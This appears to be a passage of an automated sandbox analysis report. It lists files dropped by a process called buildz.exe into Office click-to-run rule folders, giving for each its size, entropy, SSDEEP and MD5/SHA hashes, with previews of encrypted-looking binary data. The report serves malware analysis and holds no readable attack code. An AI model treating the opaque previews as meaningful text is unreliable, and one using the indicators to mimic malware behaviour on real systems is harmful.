Preview:	.<?.z+..Z<h.?5..s.0.U.a...X.dNWX....W./....$I...pG........d.$.8O..R..[.Hl...9.W...=..6...v.H..lz.E............X.v...T)23..;....^8..D..............'n...gQ.g.a#/.C.......:&i.......M7..h.,1.N...pR! .}.......-(..7...#..T3z...Xd#..f.;..Sw.=....cN.r.'{...D..Y...v..(.D.....k..K...)....\|;....9..Dl..k\|..,....Z.@.....9.K.wt.Br.k..f.e...R.c....J.>.1&../u..P.y.GHj!H.\|.7.`..........s.kq.e.L..Rm..s#.[.......X....S.....m.j...(_....j.8..:...I.ed...i.Un.....D....6.w.f...H()..=..Z.%..OhD.>.NC<...!.>b...........&w......y.os...Y~K..UF.u.qs6.YN<. .u.q.K...d.b..8..I.S....^/~.Q.g....=/.L>.\'........;x..=M.x\...[.D..U..K.;VB}K..=[....O.7.._.....GJg..gP......n."(.-\is)....P...kAV..U.\...a.5..f.e.,j.Rn%....iRFSo;.nu....9..[..... b.....\|.x.-..G..:.c..=...p....V.M..sLY.^.M.w}i.\..2...P.6s..-..c....@...>b..`..Z..#../.H..1.!.e-f..6(...Ic..>..}.K.2...5]..5Lt......+ .H.......;......p........-c. ..{\|.....0......s..R<.m............[.....r.Q+.....b.]Y<.^....6^_..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.886874771969435
Encrypted:	false
SSDEEP:	48:bn24BfShCabX43WeQsrEUy8rXwlkMwUUD:T24fShCKKWPswUyMU1wUA
MD5:	67041225BD1013A3177BB467671AAF5A
SHA1:	B59416B19D2D1EFB53E4513A5B35FD414BF9F6B1
SHA-256:	995015D3B315381DEA86F09D2C3CA486CD623AE01B5D763239395B5D15CF005F
SHA-512:	D0E4A7E83523E9D28F529DAACDEEC6FD2ADB1CEC39F509DCB2B773F742E6CB7A56EAEE844F5077FE38B7D6097264D0CAEFF98C79E555974506ED2DF4C25ACD20
Malicious:	false
Reputation:	unknown
Preview:	.<?/..3G.F..F..Z.{t.p......v..-Xp.....I...-.w...^..\|.OO.-.S....\|....-...lw......Y.K.w.E.S..Fk60S...'./<'.....c{B.C..+.l.mZ8W..0...%2..].\.D....c.....,.(..%7......d.n;..+..V+....lu.1..J...(.&.....E.....9@St>._,..v..>W.}90..+._..r........wg...\|...f.{n..m......%&......Bv.S?........d .....scg..2.$......z.....r.....6`.4."...}xX..1nL.{.J....>..<..{..v...Q.WE.......)...w..)..0.....9P..d6l.y:RS...i.......T.z.......e&..Z...t..(D..T.6.H..l...0.]..I..\|.:.d.VyO..<.........\I....).M&..-.h.:....=.3..<..U.w."D.K..Mq....mRFB.s.....@i4q?;........<.?..v}.v.....6:.)..{O..Vk..zn;.Q.......!.;.:1..;.e.:....E.1u.....m..s~...CM....3...)......Ip.lJ.R.HPW..\.S.!.....`..G^r.C...I.L....Y].....&y.......df/.C-)._]{........s...e.-..?(..rJ3rz....2.b.#L.9..L..-[s.Z.z.{........k......3\|..\.I..\.4...u..5...t.Q.@T.....F.+.+......q.J.'..`>.Q........!.7..S.K.........%........B..\|.o.8uO.y%.....d....a..R=.w..'...y@.=Ce.."..-k...se.l..Q...X.#{..Zr8edc...y..<.b..$.7.3:....k!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.86150116723251
Encrypted:	false
SSDEEP:	24:VlaqPBEItdaPXIQhFUPF+Kh0EPZGKWYIK53seyOYrsPXFJB0dzBKq7ifiy5P+hdz:R9+IsuPFJP49YIKxsIYr2FJOdxiQemD
MD5:	E99DCAD1F7C5D5306AA418278483D43A
SHA1:	AE550C6BCCD8BDDDB096076C092416B50149C5B6
SHA-256:	23BD31C882A52DB99EC48CF732821654EB91C4F22E93704B82662D7847D76E67
SHA-512:	20B5D69C6C9EA857CD64F5B980C28DE66D9CC50CC0E783E2EE9D0C3F31AA396769C1588DD4100CE64BD04197810E0A9A496E76083788AA83A45FF9A1A55993C6
Malicious:	false
Reputation:	unknown
Preview:	.<?.k.te........7.B..=..\|.2.f6}.~.n.6.eZC..gc.....O.6.w0.Or.GI..).).l..@....F.....h.j#L.V..Y\....y..r.r...[. #7r..K...A.;....5. c]..,,..Y.0..Cd...Ye1...N/7....Q5). ....B)..3.a....].$..!.#FY3.m6+...L.r.[.qC.T!.;Ll...;.....`.q.g.........."L....~C.~.5F>%..F.E...j..N.G..".h..P.c....{.p?..~.H...G.;B.C....f%a+...V@&...%.Mgs.e...tl........$........ ..=~P..5...0...O.S0..PN(......{5..c\B.EP.&...h...._......>'ixga.......Fg{P.oYr\|1.^B_3.......H...\|........../.a.-..PnA..Er.V....#..y.8^.a...gv+.7)...^>... .$Ht......<...+.g.E^ ..(.<R..+..Ui.Y.$o..T.....?ZZ...8.....QB..C...?.Lr...m}..=9....\..s.Vx..`f3.@.v..S..[6..W...w..Z.6.$.2......?...t._-....7p....m.~..Y......mr..S.a.$.l..$...fC..<.Ni?..x.N#\....b._V..Hq.H)Wk..T..+....m<..y.<=.?qY.c.2\..6vo.\|.J.....{...Y..J/r.z.J......f1.s..3..".....@..F.~.z.Y.[..T.......%.oA...&.:.V.MT.`..J..o..<M.S)2E@....n..8.k1...^.w...T......J.A..5e..~.l(5.h.C ...^..Y[.j...^....R.;..z.....J5.m.4....[h..lH...H..me.6...\..4Y\|t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.888331872620813
Encrypted:	false
SSDEEP:	48:RN6FHaJjhrozO9+413UXMweBqRmtKb69Z6Vq25ZBgar8T64D:RN6gXwbSntK2f6V1rBg5
MD5:	3BA05CB408ADB91B8DACB5538758C42A
SHA1:	1A47DB4094A118D6215B8DA274659A86CC34C432
SHA-256:	6C4DFEE1D65F6F9F3D1B84A06A930E7475A1FCB1F4765C1CCC97BE0E104C6476
SHA-512:	507240F9EFCAAEB507F8F1608DB5BCB24CDEEAE0B4EC32E214A0F14B7AEFF9C8FEF32D31C36B928F7A988E0A303AAD19CEBBE3CEC47CD66A58CE8B0961DDD77A
Malicious:	false
Reputation:	unknown
Preview:	.<?..~..G....m0..._kO....q.,...c.9k...Of.iAE`8..%.......3H.!.:/...Q...3.d^........6R.9...s..AM..kp.gf7..%m.d.....p......G....X....@....l.3sr...6.P....N.....\|?.i..6.S..o.c...2z\|..{.K...7."p....[]'".V._...W.g.h~..S....`.J...\|^...(....).......J.....Y..\|L.?.).. .....`."M.)....\8.....x...."..\..NC.........c.....A........_......W....2...4n.......!.r.n.&~4h.st\.9T\.....qQ.b.}..)@`..v>rH.s)w.#,......Q... .....VcO...Ii26-x..R...t.....T...=%p.Cd.z.@.....Q.Z....c.&...1<'..$.8.y&.j....qiR8.?.p...b..).Hj......HQ$..s..$.....v..{....E\|(4..U1.59.\.x.-/g......<6H.).!z.s....-$..d.G......0f=..4.U..<.......7...}."....M$.<..E..I.nq.hA.V.pAZ.b.y> bb.s.S.j.f...J...{.D.v....Ar.....t.7..i..l.Fq...9..f.(O^.{..i....ax.5...CA;.......z...1...APz<.4...3B".........W.z.0....k\..."C'y...:.B>\B...:s(odQ...N..8.:.=......(M$...0N...G]..k.q,>*..g.!i(j.0.h).........A.;.. ..G[.E......(.X.fw...l..B.Q...E......c..=..\|..V..d.%...$..D.4+......L.t..I[.:o.lG...Z(mc..O..?....I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.892167048028303
Encrypted:	false
SSDEEP:	48:UOg7ieEP3L94iAafVbzZB9RAEmHZa26LD:Ou0ofHB9RXmHZa26
MD5:	EF4396E4039355AF590E956DBAD28FBD
SHA1:	BC0933C215A9FEF5FA843A7CF85E375E822D0173
SHA-256:	0C7BE992078A118588419B27AD1CB73D937A314E7257A09507B4BF9FD390154A
SHA-512:	A17BE2FC17E9DB7422A1D53799B7F0BA1431A0DE4D717B1EDDB1FFCF1F353A465597D9C964AE0F4585FD00C2996F4A93CE9FEEF6B0C6E5AA1532CCCAA68EA9D8
Malicious:	false
Reputation:	unknown
Preview:	.<?.A.....=.......L....4..T(...W.......l.M.Y.../.{-D...bn!......:.P.~x..]Sr.....I8....[(&.2KF.3......!......'H...0......lg=w.j.'&=.......W..cD<.z........O...@.x....L..aS1l.......$.'.R.BE..y.D....k.....e.Qi...d.QC.$Qk..%.B.>@\|..Rd\M.n...&...L.'...0.3..b....t.n].J...u...=.v.3...p+.DE..Ttj2.y6p.>k...<z...w...J.>=!.E....ez..`.z.2C..C...R.`.S...i_.....f.\|Y.g....'\.iHP.....Q..<....@..a..H8sW\E.bmha?.[..0...T.6.5..sYn.B..... .B'..].(...&@...n8.......m..g...4..^~VY.../.&I.e.xE....w..SR.9}=..].D..8S.l.$.xik.....6...!".. ...<.\|.........;.Y9y.{.].oH&enr...}...V..^-W9..pHft.....$...f...vH...f...]c..g".%.....3oih..Ks...u...8.A..8:.......1....d.R.<y.(>g".Z.>ho.i..LC........V]%Ij...f.......%....d.I4-..Euz..>.....d..~..U.....ZwNjk.o.....2.~..#($..j....."w.H.....u."s...\...O...b..x..:..v.W.......D....?.>s...F.....3.B...+4..y...bZ...1m...lY1.........x#...u....T.._.3..._Xvnw.3.......x^j....!hN.o.9..*z~.I..r..d.9d.0.,.c...[..../.(..]q.\F...+...V.h.i.S..h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.891989372927027
Encrypted:	false
SSDEEP:	48:QeCbuCLWt6I6+b0PP1WcM84rOQF5Hs/gD:1ChSt6I9bY3MvPM/8
MD5:	2593384755EDCC02D94349F9C7719218
SHA1:	44CDBE9066158B7F545A0A98165E9950A7BF164F
SHA-256:	B50E245544520D72CDCF81431AD0F3F51F0C2B6307573E317464C6B2007E8A5E
SHA-512:	E6FAFE72FE927266222568969E4F93D81FEA872CD27DB25EB17C86E2F3F82E9973615D974D2E89CF4CBDB1B24BF75158C3AA6A8B6C24C8C206443F21D25171E9
Malicious:	false
Reputation:	unknown
Preview:	.<?d0t.l.B.w...(....p75V....(....l.....o..!....n.A:..G..d..o953.9...-.R%.....9`....c..g<.`z0......pn.p.s6.......L=.W..aA.p..M.......Z.>.....9u.._.D.\|X...I14}zk......AA.....t4.R.)..>[.2...F&W^l'.?C....a.F..C.F..~...2.A...c.'.akp..[.._.9b6.L..`...4.4..Y.ox..4.D....IcG{D.........I(...R).q.?+.p\|.........~u.W.F......w`..ES....t/.U.j2...q7e..u...H.g...u.h..cy.~...........o.~........I>V[P.G...M8.#5.p..X..h...z.......;. .O.8.[J.Z.Sj.tW6...Xm..@).....c.....Ck..K}`Mg{.;.....0Y......pf3.%k....A-N..vk..%R.?....FR.....}1.?..T.6....v.....>..Xd.[...?g....J.d >Z(p.....uh..2u..W.S...8n.e...f5".G..yh.....f#.o..7..U..T...._....{{f.0.I.rbH}...bt..rQ.......~?.;.T.....UW.h#.....D..A.LN........Pb....x.\|..k..b.=...h...VU..\...7#.....o.+.i.2c\....3^}....?.y^..J.(W....D..6h.....z$.&A.1....E ,.{.P.1..n@..f+.X.L.:..i..-..(iQZ....b...M..+M.e.eq..I:o..:.7q..1...$.?&....b.5.7.n/...3..UX.9..h.....s....A...ij.....Y.C.j....4....o..^..[7O...E8...[.Ys...]...P.3.IV..]k.L.!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.9070818668930425
Encrypted:	false
SSDEEP:	48:xboazrFKGWjof19nhAOBJGBl7MUzs/J+D:OoIXgn2lcJG
MD5:	27A0796471495F829041D8830DE7CE3D
SHA1:	9E66E4AA8EC83DCA16AB9ADCBE8D0F9B0B1B06E4
SHA-256:	1074C90335B965684C1ADE991ADDA833156775CF461A9B59B33A02450CF5CDE5
SHA-512:	9F50C3D3AFB3F703FF283F2FCE7B2B487C503D88D7614E5EF1F11D76848A145003143BF7F2EEA1C0D6C413EDD6F44431E9BA37F0CE07628234DC1807AC6305E5
Malicious:	false
Reputation:	unknown
Preview:	.<?....-.....d.m.r..{...;.B53.%....^./...%K....)...%.Xd..n..~L....._......:ZWu,..F.PP3....3.F.]y.fx..w..S...j ..m...jx>R..^.H\|d./...#J....}r..>..@.......`Z+G....n{.F.N...I.....v.W..c.....w .5V.p.z[.~..'.IQ.y.g...-qhe....5..Q.1....2.j...K.>.2G...#O.V`.("..U.....D...{...1.(..'..M.xLM..~.y...........4.9...a.^.+..F..I"5Br............M;..!Eu.m.V..\..D.].P..N..f..v..`M#.....$....R..d....+c........)..U....,.JU...S.$.....n..[vT..0.Q...L.............:.Yd.a......cB..e..%...UD..\|p.SO.Z..J....Vb....-..<....[.+..s.b....U.L........\....j...v..}......K.[.P.aq.i..:,"Z..5......T"....4c.g.......&5:.=...}..E1G...Z.r,R.{..+._t.X...L.bq.F._...+.&D.\f.k&..g..#.3k...Z/5s+q..&.1.4.oF.._...\HG.dm....d.p...JI...E..^_..bM{.......K..............Q..'`..$..h.......v..'...Bz.b.g........g8...BPn.d.N...%x.8+....9a.`O...r.:.%...SN...i32]Qh..W:.2.$.P..c..9..y...<.s4,..,..O.a...Q1\|.*.._nS.......Mz....m...c?.f.c......H..R....?.>z6..W.....Es.A......+.1.d5W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.905397453463007
Encrypted:	false
SSDEEP:	48:+vZvxMqoXUCn1JfF1oGpnfesMcr/a3X+qD:aZxMoMFGGp8X+i
MD5:	AF7CC601C6AD78FC32FC72549BA133B5
SHA1:	3D2D480AE1D6ED116DBB8BC9315708B98CAF3332
SHA-256:	26C3E11F74065656126DA2F4705B550E29327A4556F0289366E6D148E7480A99
SHA-512:	8BBCB381A8F3AB1C6258716C36CB17252FD3FCD4D20EB8C2EF27A4569DC6FDC93DAB5FB1DA91F5B3CE64D663944E1AF7DE7F77B7B86A6A0BB6A40CE343D8E973
Malicious:	false
Reputation:	unknown
Preview:	.<?.Im.....M.E..>..Fx%..+{.d...V5`AJpJw....#.^!...'....`$._...Q.....xa..t<..#...F.v....3.3#..R.......".pNJ.,.1Yx..X......w..1...#.......:.......P.....h,.-..,...'.r.F.1.}...S..h...}.@;^._,..u%XW0..t..\|.......w..a..{.O..EW.Gie.o..'...t.\i./..7x2.M!.da..Ed....I....hi.cT...+...W..6..H....."7...lzi..^(..k..3.g%.o...\|~.v....;@.,......%.c.0.:..#.5H.....,.0.=...=.~e.Fag.......SMDgN.~.V...T.p..WX.f.=.......$.......=.....'...Y..n.k.A(d.....p....7%=.3..r..NU.uT.\|......D../GJ.....w..8...d..L..@.......@ma.#n.?........U@..H....&..hcx.Q.a.....G.S.y..\..>....FmpR.] `H..K...Y[)#.......8...Z.[d......RL.vZJ.Y..c.l..e....R.".O.W....~.U.L.."......z4\|?/ma.%.@. ^..k....vT@[....m.2\|t`.$.1f>....[.9..S:'..."...J..PU..Y...I.i~c.C.(.-.x..&..<..R.......h..$.V...+=.hik.-n...{v/..U....k.fC"....".>..?./M...m..{...x.-..u$...u.....T.}Lt,.~T.......3.2...$SA..}b4J.V.~vN.&.W.....P.O.....[_.X....-.).+(.G..z.!....l...t....A.q.......kF."&....G&!Y..i....DK*.%.U$N....j.9, #..;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1686
Entropy (8bit):	7.877600467109785
Encrypted:	false
SSDEEP:	24:3EN15euQqgOynniNUo/oHEWh4qXC+vmx8PYju/LSlfjeFDDlDvDbD:k15efbvim2EdjC+vI89/el2DlD
MD5:	FFA8450928C350FCD17917D056667F6B
SHA1:	B469B5206001A24EC7C0151FE4B7FF3660CB9C1D
SHA-256:	67B24259C0E0882E6C89D87C4608575980D038FA7D929BD13346C16A79D2FB42
SHA-512:	85C4C9D0CDD90B55B192EFDE05A3AE49D4DF5489F94D02655BEAAF66204A29D5E885E27ABBAB77C6EF3860F8F6AA6929401408BFE3E7D7A3B670BF96563EEA9D
Malicious:	false
Reputation:	unknown
Preview:	.<?_...X...q~.#K.#.!<...... 5..8.Gu.&yw.r.6E..I...o.W...._..E /..(...p...mj._......Fu..o.....+......[.P..)7s.q.pOL....Va.0......).I..}HP~...c'x.........0Y.$.....0iwd.LS........."t.SS....T..Q......~.......:..p..z\|.U..R....m.L....m..u..K.....w.J..PO..C.#.h8..&{dGTF..l.....1... G.jYC..e.<s?.#...Usm..R...\|..~.H...\M......)..-...)V..-..2_...r.....s....o."a.....!. .iO@P...E<$..2:...'...SH..V.9.U..s.a\........s..9.nm..c....2I.:.l-..g.x..~B..8.~F:v..-......E`.p....~.6y.X.x.6eZ..>..Y(^..$........P.Qs..Y....>...m..S.B.l`.D?.v.k.Sq..l...,5.M.....YK.xT)..r....c.X.I.I.Q...v..T."..84Y...y.IYS....jP..'/.~x.;Ph<.xlB......%..].G.,..j,)N...E.D..I.zWL..H.....0Q...3.g.(O.8J.F.c+..P.N..4...A&P...Q9=..{.V..32...6.....5...!...s.,.d.u.%.. ....K~0....x..kY;.h..D...[.<...4E.S...T....F.qa.3}....sWXS...2..n.$.'.\x.HLv...._..'..j.....~..\|.G...[.d..B..9uh&w.g...:.7. .m3...b...-.\E..y.:...Ip..G....r.?..>..W!..!...^.[!r...}.u.~...b.O.[8W..i.1.5&...M..Sn.....U.C.}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.886410099359358
Encrypted:	false
SSDEEP:	48:OE6oqoFgFwICfnSSKrG9fwI0USFM/RLLaJAw+D:OE6SFcZKS5INSFCRB7
MD5:	7DC65FD82F65504276712BC4E5C09432
SHA1:	920158F1AD434DAEA03C6638A824E8ECB70184D1
SHA-256:	D075586E30D5AC7DF2CCCD69028E15DDF6E0967A703FD3F192E3DB79B778C217
SHA-512:	8B8D8F3383BDD51C06F90CCCCBF9851DA8EFA42F0C545B5432F32F4E51B29AC01AD349376BEC2D729C3ED2EE34E80FE21290970A433D618777CDC2881663E3F0
Malicious:	false
Reputation:	unknown
Preview:	.<?.....A.tV......\|....%..}......:..3i.................{...LP."./..U. ..G.^...F~.......=...`..#...O....y..5.3...........?.uFe.jM.....t.....z..Y.{.O...9.y-...G.......z.#3..l.=:T.x<....>.4......x....&..1....3~...^.~eQ..7.."..f...~.2.^..]..n.Az..mj.>.hk....." .a....."...]-zg[.P....)N.g.....;l.7h..\|..[.i..[......M..]/..<.i.P.4...]........qH .9.X.o.-.{..'...t.I.<.HU.x.%a...6.\|r.M....}z.....)..K...!<....B..".n....`{At\a..-@i....}.=Y.Q.p.!......{LT.V.09.....D..,.y.....G`$k....L..#...~#.eL0R........\....vc#3';l<...........V.<.F..^.g..8...:.0B.....zY.OS1....(I.wY.B....GPC&;....8...6.u4.O.B...r....U._......DWV...-f..j.1fe.<.$.i.....mWX.e.QGY<...s......x<..bh......Er..Wyw....... .@....yn..sS#H...&>8S.$..:9..AjpL..}....$..}P..:h..!.O..w.w.t...&D%.......F..I.j0X.Y.....YM......r.@T.^.-..?......,IP......L.......A.s5.u0\..q.....M...ip..k.!.uQ.mn(.....,r...^.......>\.k..-..UW-Q.J\|...#~.p.u.a%..4..X.y$.`.i........h.vdM....N..a...r.....q.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.901236698356669
Encrypted:	false
SSDEEP:	48:iZDqSMkue4G4xDaeooAGrOAc4EKDhgrAo6qD:iZD5SdmuDhgMoV
MD5:	251FDBDEA55FD8231ADC44641B25F453
SHA1:	D57EFE612B3D25A06063FBCE24037157B6798776
SHA-256:	95968563C2074A28355F7D480BA507007D5729C3471BBB7AF3DFA46A2625897A
SHA-512:	A9B2F45DD5FDD14E332B5A37C432A8C23381CADB9042F17B7B6D2326D1123CF2BA25E84DBE9E9ACC700095E0CE154CB07BF7C0C6E4E3AC01EADC240DB87AA0B1
Malicious:	false
Reputation:	unknown
Preview:	.<?..?.7..........Z.(...`PiFwN.G./T..a.cM.mp5d7.wA.......=j.t..CL;.".e..o.TL.&._.N@K...J.C..9t..>bq.Tf.t..8...y......]...9kd...-..rw..+.....@..Uk....:.Nl..h..V....<.=...,@.j...".c....3..A.h..\|..i.Xd...BrK...JX}.u9....1.4B...U.x9...r.H..>..<....9$.8}... ./.p.7c....y..%...e.XeC....n.\...@..Vr4....l.l.=2vh.W..g;.7:J...y......y...B..f...o).\&.r.......].....!.3.y6p.....w.\|.@o..}.1Dy(.eA6.0...$3....%..&..04.....Q.o.:'...iZ_<.~.$.'#..0....."....@.E.7N..\|.P........z...\......W.....z8t...1(v....4...`..;cV... .5>c.`<...[=...e=.. .5....\..`..5.PF..B..._.m.FZ.....4^.{\d1{^...+..+.,+). '...n.....v.....h.5=.....f.$S.&RN..b4:m.9.p...S;....^!..;.F..,...Qk.A........MI.../,s4L...xL.....QN..C+v....>]..<"....I.T......._O.."N.m......./~....a...(=....l.<.f.........C.....W...(.......I....WT....$9..Aw..M.Q..G..ok:f..v.y.x....p..T..U......,.V.c..EL...b..+..=.#I[Y.....p.....NIA.I.2.6>....eD.0J"X..cE.....G][.....KE#....}.`..q..{...?...>.R..c...k.$Z..)\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.866051301217666
Encrypted:	false
SSDEEP:	48:T4/uxEqTKEcuhc+OC3HA0Gs+KxnlPpOXp3ixD:PxEiXjZXtV9l4XY5
MD5:	681A8564E8CDF8CB6C685E4255DF2F0D
SHA1:	FBFFCCF337BDA4A63861F88500AA9DACCCF3D168
SHA-256:	83212AFB36440F68C39F9FA0AB3111EB9B55C1582FE05881C5E5889CEB0569C2
SHA-512:	5FA3D334FF9C03252696B4ED8ECA74F1D52735DC01360021DC45AEEAD44A044FEDC8BD2FD210A04242341E06B32236FEA92EAC0B504BD5DA90BED52F17EF863B
Malicious:	false
Reputation:	unknown
Preview:	.<?..4.(.a......IH......,.U.bq..7n/c8Y.....2..9.K.Ps.N..Qrb...Iz....Y.....PM"..v.(.x..$4<n..9!..V=.{.....#.)..q.......=C1Bo/....0(t?^)..<?z....&.."".0wBq..g.'......=sp;..........aZ._.A..kk..gu......p.?c.!...L..D3e..I..)..P(.x..H.H0.r.F....i....p.MU...Td...I'F.P9.R.r.(qe_...-;Q......$.}F.n0..4...T?XQ...MD..X.$2.@l.!RI..:L.8L.n...k\JD.-T.m..t...}...........#....1qo........x..-}..1j.c[4...]./...C...5[_{.SC......d..W....u..,.~=.........H.Rn..JC-.G+#.4......;.......C~.5w...n..........r..F.(.A!....i.-......e.(..pm..;"'..[?....?.{.....>........1.2h.Q.,.y...-u.'w1.....M.fq..].k._.z.....Y4Z6..\......@..[...Y^.....r....~.S...2e.q&...i.+..p.c...Y...Dx..T..4.....2{..c...a3b.NX....;...f.%.....-8.P..I."..ke...52..L0.\.)OE.9.a..b..C.G+AE...k.....D@../....U.4.?b..3.lb+....d.;.8(...-.1A.x]d.bK.B.#WG..j.E..4.(j4......+..!...J.zL../...@t.bT....ib[.UrZ..5H.............Xh..!.f.?...<O..X.q_x.y<.c....r.[...de.L.6...aU......o..L.V..4..`...vq..#.J.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.872517442571381
Encrypted:	false
SSDEEP:	24:HS3e59VDxn+FnKkGI0vZqBvOJriqgM/X4EquqxqPom62ybwlmENWcOT2JH7y7E/T:HSy9VDx+8I0vZq/qJqXwDWLT2BUID
MD5:	414266C4341AA591A09F64D2497BEB08
SHA1:	7A5928AE80938625380FB95C0D80C0BD3C79DAF1
SHA-256:	6C25D51DFBAA521AED92CAF7A0F6F14E7C0610E4C86BCFAA6A2894981D27A048
SHA-512:	EFE9825D5BA1E4C14E1B38AAFA4CA854130A714CCB411AC5040DAA20713E055BDEF95B9850D158590DEB0551C15BC8E4A1BBDF6FCD853DDB12B93432B5627813
Malicious:	false
Reputation:	unknown
Preview:	.<?.R..?K..n.}d....4....v.....X....k...T.3k......65v?...?6.O....~.C..n...w...w.h..HTa....;...M..'.vR.g1.&%..^.]\.....ot!.h./........(.U........d....W6..\a.c..;.=N.O...+..".rZ..^:...d.jm...(.:[y...,f....a+....h<s;=.f..,QKi.....g.8.e...R..r...-e.1P...w.A.....;.../+J+Tiz.'z....5.H...B<.i.T.D..IH./...KzpQ@..qM..<+...F...J..G......{.....SD.BJ.....f...\|'..).../..(..?.E..9.....8...j......B.G:5!.0!v..v.+.dF=.....-]...\|.6.?p...h.^.......tS. ..2'....TM.&.J..@...Y.Q....t.vV.".O-W.j........l.L..5cQo;..7Vq,...l.!..!.~...y....(..t.3\{^....#PqN.D.......}u}...].Z.9.YF.@.4L.h#..]..B.....h.[.....$....E...-.pG.....C..p...].m.....g.._...}.W...4..;.&...d7.... ..:+7.0. /]..C.....l@.N...%.JV....z.#Y..c...P......A..\...j.j..!-v.......w0.%..Qr3./oK....v....'EF...j}.....O3..S.H.....!..t....T.(.........)0{...gu..}I..'..H..n2w...\|........w..\./?...q..1..!q....[..........r.w....B....`.1..t.G...*A.L.VRX........s..,..s4&.,Z$c...t..J`.....N..._...v.t......zw

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.8673941852367335
Encrypted:	false
SSDEEP:	48:QxAtTmLnXneHzZvaNvMdOnMw6Si6i3+npL/bx7/pD:QxAtw3YeMdOBti3+pL/N9
MD5:	618EA7AA96B164812383F4EE2C8997EE
SHA1:	D6EAC761DA1DE52BAC63C677ECFE2F9565EF9182
SHA-256:	62E88E8748B2FEC127D09010AF8D7ACA25EF39B300DC91B6F9EBE7ABDAEAFA88
SHA-512:	F3C1601AD245FDB6C861BFE6498A5957B473B4A8693ADAAC5A51C688D2E6C6DE3772251774BFCEF1240614BBECC5518740C1D5227A62422456FE41FFA30DF5DF
Malicious:	false
Reputation:	unknown
Preview:	.<?Afn../.=......nn.......qn/..sFi+...7...x..}.0...L..E.....y/x.g....K.........n1!#.x.0....\.E{.n....^..{..(.:.....M....o...B.....9...x#......g ...&.2..=g&..p........QV.'.O.$..Nr..4.[..#.W..._N\|?.}.fS...#..u....-Ze....&......W{..3..?....ea.........0.....x.$M.\.Q...N.F.f+..H._ .&d."..w.y.;....u..#~...3._..3.X_0...... ......^Z.d..r.WL..d..b...&.$.. .lb^..[...S......^./6....T.-.9..2.W.!..M=4.k............k..0..Y..A.s..f`....@^dC.6...bY.....#......)...)...F.j..5.>]7t^..Q...5IX..Y.@.......iTI\v*.XO..v.F..l.J_.zS44..J#.r..Qx.4...9.Ch.,&...@ZYr.w..i..\|3.F...y-W.0.e.............Q...8Nx..h`Ng.6....~RP!...U..oE=9....B...&A..{C.D.g......T;...M.....N.73..GP.I+L....L.....r,t.5_I./1{.s....v......,,.,..o.,........>..h..;d...CXG......N........u$l.L./.........$...V.....&nH=F...k...c?MYE/.?..Ua.?....\|....1F@..<..........$.#...G..N;3S.e..I...k..RKh....E.su.....Mi...8.O...M.v4m.2..O.P..^..>vp......[.&...z...C4..^.[...C...\,.u..i.H.,E..L..><.V..8.8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.874150518365629
Encrypted:	false
SSDEEP:	48:vcVWwaIOyd3M+SuFrfzTaxpO0QdLAlYMD:ANgm8+xaTsLO
MD5:	15B7190775766318A77892A2E38517AC
SHA1:	D35D194E186E0BFD2E92CE142D35C55DAE392210
SHA-256:	F18EFB9C0F7D6FEE87BA56146BF73499BBED1950AC3892049F08992DE28FE2DB
SHA-512:	6E361493FDD20FF137E16B8A5D68880F3D5BC73F3E7C222D2F05E75E123BD3AB034467D0185BE9FAE766FC3B3FD0CFECA66CD4EF2BE09CDBA05B1BAAC6864C74
Malicious:	false
Reputation:	unknown
